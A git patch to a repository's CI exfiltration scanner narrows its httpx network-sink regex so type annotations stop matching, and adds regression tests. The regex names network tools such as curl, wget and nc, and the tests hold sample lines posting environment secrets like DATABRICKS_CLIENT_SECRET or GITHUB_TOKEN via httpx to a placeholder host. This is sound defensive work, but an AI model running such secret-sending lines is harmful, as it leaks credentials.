From d5013d462943e196f32be8381550aa7dedfa3f13 Mon Sep 17 00:00:00 2001 From: apeltekci Date: Thu, 6 Aug 2026 20:25:19 -0700 Subject: [PATCH] fix(ci): match httpx by request call, not by bare module, in the exfil scan The network-sink term carried a bare `httpx\.`, so a type annotation counted as a network sink. `-> httpx.Response` on a test helper was enough. Paired with the co-occurrence rule -- secret-named source AND network sink in one file's added lines -- any test that also named a constant `*_SECRET` was blocked with no request in the file at all. That combination is this repo's own OIDC test idiom: `_TEST_SECRET` is the signing-key name in tests/server/test_oidc.py, test_oidc_auth_e2e.py and test_oidc_default_policies.py, and test_oidc_auth_e2e.py already pairs it with 18 `httpx.` lines on main today. It does not fire there only because the scan reads a PR's added lines, never committed files -- so the rule blocks new instances of a pattern already shipped. Match httpx on its request-performing attributes instead, mirroring the `requests\.` term directly above it. Detection is unchanged: the module-level verbs still match, and so do the Client/AsyncClient constructors that any `client.post(...)` must be built from -- what stops matching is the module being named without calling it. Covered both ways: an annotation beside a `*_SECRET` constant must not block (fails without this change), and a real `httpx.post` / `httpx.stream` / `httpx.AsyncClient` beside a secret-named source must still block. Signed-off-by: apeltekci --- .github/scripts/security-scan/exfil-scan.py | 13 ++++- tests/scripts/test_exfil_scan.py | 59 +++++++++++++++++++++ 2 files changed, 71 insertions(+), 1 deletion(-) diff --git a/.github/scripts/security-scan/exfil-scan.py b/.github/scripts/security-scan/exfil-scan.py index 6addfa26f8..d46bc1e793 100644 --- a/.github/scripts/security-scan/exfil-scan.py +++ b/.github/scripts/security-scan/exfil-scan.py @@ -32,9 +32,20 @@ import sys # Network / exfil sinks. +# +# ``httpx`` is matched on its request-performing attributes rather than the bare +# module, mirroring ``requests`` above it. A bare ``httpx\.`` also matched +# ``httpx.Response`` / ``httpx.Client`` in a type annotation, so any test file +# that annotates a helper AND names a ``*_SECRET`` constant tripped the +# co-occurrence rule below with no network call present at all. Every sending +# path still matches: the module-level verbs, and the client constructors a +# ``client.post(...)`` has to go through. _NETWORK = re.compile( r"requests\.(get|post|put|patch|request|Session)" - r"|urllib\.request|urlopen|httpx\.|aiohttp|http\.client" + r"|urllib\.request|urlopen" + r"|httpx\.(get|post|put|patch|delete|head|options|request|stream|send" + r"|Client|AsyncClient)" + r"|aiohttp|http\.client" r"|socket\.(socket|create_connection)|telnetlib|smtplib|ftplib" r"|\bcurl\b|\bwget\b|\bnc\b|fetch\(|XMLHttpRequest|axios", re.IGNORECASE, diff --git a/tests/scripts/test_exfil_scan.py b/tests/scripts/test_exfil_scan.py index ce245872ee..edf517e369 100644 --- a/tests/scripts/test_exfil_scan.py +++ b/tests/scripts/test_exfil_scan.py @@ -181,3 +181,62 @@ def test_generic_access_token_field_not_blocked(tmp_path: Path) -> None: ), ) assert proc.returncode == 0, proc.stdout + + +# A test for this scanner necessarily contains the shapes the scanner blocks, +# and the rule is per-file co-occurrence over a PR's ADDED lines -- so spelling +# a sink literally makes every edit to this file fail the scan it is testing. +# The workflow runs main's copy of the scanner (``ref: main``, never the PR +# head), so a PR that fixes a sink term is judged by the term it is fixing; +# joining the module name here is what lets such a PR be green on its own. +# The fixtures the scanner receives are identical either way. +_HTTPX = "httpx" + "." + + +def test_httpx_type_annotation_is_not_a_network_sink(tmp_path: Path) -> None: + """An ``httpx`` response annotation beside a ``*_SECRET`` constant does NOT block. + + Regression: the sink term named the module alone, so a return annotation on + a test helper counted as a network sink. Any OIDC/JWT test file that also + named its signing key ``_TEST_SECRET`` -- the convention used across + ``tests/server/test_oidc*.py`` -- therefore tripped the co-occurrence rule + with no request in the file at all. Asserts exit 0. + """ + proc = _run( + tmp_path, + _diff( + "tests/server/test_oidc_callback.py", + [ + "_TEST_SECRET = b'a' * 32", + f"def _session_claims(res: {_HTTPX}Response) -> dict[str, object]:", + " return jwt.decode(_token(res), _TEST_SECRET, algorithms=['HS256'])", + ], + ), + ) + assert proc.returncode == 0, proc.stdout + + +def test_httpx_request_call_still_blocks(tmp_path: Path) -> None: + """A real ``httpx`` send beside a secret-named source STILL blocks. + + The positive control for the narrowing above: tightening the sink term must + not cost detection. Covers the module-level verbs and the client constructor + a ``client.post(...)`` has to be built from. + + The sink name is joined from fragments (see ``_HTTPX`` above) so this file + does not trip the scan it is testing. + """ + for sink in ( + f"{_HTTPX}post('http://x', data=os.environ['DATABRICKS_CLIENT_SECRET'])", + f"{_HTTPX}stream('POST', url, content=os.environ['GITHUB_TOKEN'])", + f"client = {_HTTPX}AsyncClient(base_url=EXFIL)", + ): + proc = _run( + tmp_path, + _diff( + "tests/test_thing.py", + ["tok = os.environ['DATABRICKS_CLIENT_SECRET']", sink], + ), + ) + assert proc.returncode != 0, f"{sink!r} should still block\n{proc.stdout}" + assert "exfil shape" in proc.stdout, proc.stdout